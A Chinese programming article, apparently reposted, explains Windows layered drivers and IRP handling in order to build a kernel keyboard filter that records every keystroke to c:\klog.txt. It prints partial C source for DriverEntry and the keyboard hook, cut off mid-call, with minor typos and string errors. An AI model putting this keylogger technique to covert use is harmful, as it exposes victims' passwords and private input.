当前位置:编程学习 > 网站相关 >>

让一切输入都难逃法眼——驱动级键盘过滤钩子的实现

作者:中国石油大学胜利学院 小麒麟(王龙)
上一期给大家带来了SSDT的详细说明,基本上挂钩SSDT就可以实现我们想要的很多功能了,但是有时候,挂钩SSDT有局限性,这时我们就可以充分利用Windows驱动的分层特性,充分挖掘系统的特性。上一篇文章可以说写的有些快,这篇我将从头讲起,希望对有兴趣进入驱动编程的人有些帮助。
驱动分层结构是Windows的特性,I/O管理器有两个重要设计:一是Windows中的任何一个驱动程序都可被设计成Client/Server模式。对于客户端驱动,通过IoGetDeviceObjectPointer之类的获取服务端驱动导出的Device对象,通过I/O管理器的IoCallDriver请求服务端的服务。IoCallDriver实际上根据客户端的调用参数(通过IRP)调用服务端的派遣入口(回调函数)接受客户端的请求。二是I/O管理器实现一个分层的数据结构,在DEVICE_OBJECT对象中保存某种关系,自动将请求IRP发给设备栈中的最高的一个设备,由其决定如何处理,或是自身处理,或是向下传递,达到分层的目的。鉴于这种能力,分层驱动模型可以实现很多应用,如文件监控、加密、防病毒等等。由于PnP的引入,这种应用将更加广泛。
设备对象是系统为帮助软件管理硬件而创建的数据结构。一个物理硬件可以有多个这样的数据结构。处于堆栈最底层的设备对象称为物理设备对象(physical device object),或简称为PDO。在设备对象堆栈的中间某处有一个对象称为功能设备对象(functional device object),或简称FDO。在FDO的上面和下面还会有一些过滤器设备对象(filter device object)。位于FDO上面的过滤器设备对象称为上层过滤器,位于FDO下面(但仍在PDO之上)的过滤器设备对象称为下层过滤器。如图1所示。

图1
首先讲讲I/O请求报文。IRP是一个具有不完全文档说明的结构,由I/O管理器进行分配,用于在驱动程序之间传递特有的数据。对驱动程序分层时,它会注册到一个链中,如果向链接起来的驱动程序发出I/O请求,就创建一个IRP并将其传递给链中所有的驱动程序。链中最顶端的驱动程序最先接受IRP,链中最后一个驱动程序负责与硬件通信。I/O管理器准确知道链中驱动程序的数目。在分配的IRP中为链中每个驱动程序添加一个叫做IO_STACK_LOCATION的空间。IRP头部储存IO_STACK_LOCATION索引,也储存当前IO_STACK_LOCATION的一个指针,当我们调用IoCallDriver时,就会递减这个索引。具体IRP等的结构说明,请大家查看DDK吧,我就不罗嗦了。如图2所示。
  
图2
本文要讲的是一个键盘过滤驱动,它通过分层机制,捕获键盘的扫描码,转换成按键字符并保存下来。通过DeviceTree工具可以显示键盘驱动的结构,这里说一下,我们的程序要钩住的是KeybboardClass0,通过DeviceTree可以看到它的设备标记,这对以后我们写程序是有很大帮助的。如图3所示。
  
图3
这里解释一下,我们要动态卸载驱动程序,所以要挂接KeyboardClass0才可以,而不能挂接如图1所示的上层过滤器驱动。
键盘过滤驱动是工作在异步模式下的,这一点很重要。为了得到一个按键操作,首先需要发送一个IRP_MJ_READ到驱动的设备栈,驱动收到这个IRP会做什么样的处理呢?它会一直保持这个IRP为pending未确定状态,直到一个键被真正的按下,驱动此时就会立刻完成这个IRP,并将刚按下的键的相关数据作为该IRP的返回值。在该IRP带着对应的数据返回后,操作系统将这些值传递给对应的事件系统来处理,然后做什么呢?系统紧接着又会立刻发送一个IRP_MJ_READ请求,等待下次的按键操作,重复以上的步骤。也就是说,任何时候,设备栈底都会有一个键盘的IRP_MJ_READ请求处于pending未确定状态。这意味着只有在该IRP完成返回,新的IRP请求还未发送到的时候才会有一个很短暂的时间。由此我们想到,按照一般的方式动态御载键盘过滤驱动的时候,基本都是有IRP_MJ_READ请求处于pending未确定状态,而我们却卸载了驱动,以后按键的时候需要处理这个IRP却找不到对应的驱动,就会导致蓝屏。
栈底有IRP,为什么我们的驱动卸载就会有问题呢?这是由于IRM_MJ_READ是异步的,对于异步的请求,基本上我们会关心这个异步请求的结果。那么如何得到完成后的数据呢?大家一定想到了,设置完成例程。对,就是这样,由于我们给IRP_MJ_READ设置了完成例程,该IRP完成后会调用我们的完成例程,使我们有处理返回数据的机会。在这样的情况下,我们动态卸载了键盘过滤驱动,也就是说完成例程已经被我们卸载掉了,而以后的再次按键在完成这个IRP后会调用这个根本已经不存在了的东东,结果蓝屏就可想而知了。
那是否是不设置完成例程就不会有问题了呢?答案是肯定的。可是没有完成例程我们就没有办法处理到返回的数据,也就在很大程度上失去了键盘过滤驱动的作用了。如何做到既能设置完成例程来处理数据又可以实现动态卸载呢?
我们由有两个办法。当有IRP_MJ_READ到来的时候,不为这个IRP设置完成例程,也不将该IRP向下传递,而是创建一个自己的IRP,并参考前面的IRP_MJ_READ做对应的设置,然后为自己的这个IRP设置完成例程后,将自己的IRP向下传递,并设置原来的IRP_MJ_READ为pending状态。当有按键操作时,自己的IRP返回触发为它设置的完成例程,在这里取得返回的数据填充前面的IRP_MJ_READ后,将该IRP_MJ_READ完成返回。相当于我们使用了一个代理,而这一切都是透明的。到这里我们实现了完成例程,也就是有了处理数据的机会。
假设现在我们收到卸载的请求,看看当前所有的IRP处于何种状态。
(1)一个我们保存的原来的IRP_MJ_READ处于pending,注意它并没向下传递,也未设置完成例程。
(2)一个我们自己构造的IRP处于栈底,并注意我们为自己的这个IRP设置了完成例程。
基本上就这2个IRP。由于我们自己的IRP有完成例程,所以直接卸载会出现和上面一样的情况,导致蓝屏。如何处理呢?因为是我们自己构造的IRP,所以可以将其取消,这样并不会有太大的影响。然后将原来的这个IRP_MJ_READ向下传递,这里千万注意,我们自己的驱动马上要卸载,所以传递原来的IRP_MJ_READ的时候不要给它设置完成例程。向下传递后卸载我们的驱动。当然,这里还有更简单的办法,使用计数器也可以实现,还简单得多,所以我们这里使用计数器来实现。这里就不多罗嗦了,详细内容可看程序的说明。
写驱动程序要有一个入口DriverEntry,有人会问如何配置一个方便的驱动开发环境,我推荐是VC+DDK+DS,这也是它们安装的顺序。我习惯了VC++的开发环境,我想大多数人也是,所以即使用DDK开发也可以装个DS,呵呵。下面看程序,我只介绍几个重要例程,其他的请看随文的源代码。

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status={0};
int i;
PDEVICE_EXTENSION pKeyboardDeviceExtension;

IO_STATUS_BLOCK file_status;
OBJECT_ATTRIBUTES obj_attrib;
CCHAR ntNameFile[100]="\DosDevices\c:\klog.txt";
STRING ntNameString;
UNICODE_STRING uFileName;

for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)

//这里我们设置一个DispatchPassDown例程来处理一些请求
theDriverObject->MajorFunction[i] = DispatchPassDown;
//在DispatchRead中处理键盘的读请求
theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;
//HookKeyboard hook键盘驱动
HookKeyboard(theDriverObject);
//建立一个线程用来记录键盘动作
InitThreadKeyLogger(theDriverObject);

//初始化一个旋转锁来访问链表
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);
//创建一个记录文件
RtlInitAnsiString(&ntNameString,ntNameFile);
RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE);
InitializeObjectAttributes(&obj_attrib,&uFileName,
OBJ_CASE_INSENSITIVE,
NULL,NULL);

status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
GENERIC_WRITE,
&obj_attrib,
&file_status,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
RtlFreeUnicodeString(&uFileName);

theDriverObject->DriverUnload=OnUnload;

return STATUS_SUCCESS;

}

下面是在HookKeyboard中创建设备的代码。

NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject)
{//IRQL = passive level
//建立过滤驱动对象
PDEVICE_EXTENSION pKeyboardDeviceExtension;
PDEVICE_OBJECT pKeyboardDeviceObject;
CCHAR ntNameBuffer[50]="\Device\keyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDevice;

NTSTATUS status=IoCreateDevice(theDriverObject,
sizeof(DEVICE_EXTENSION),
NULL,
FILE_DEVICE
补充:综合编程 , 安全编程 ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,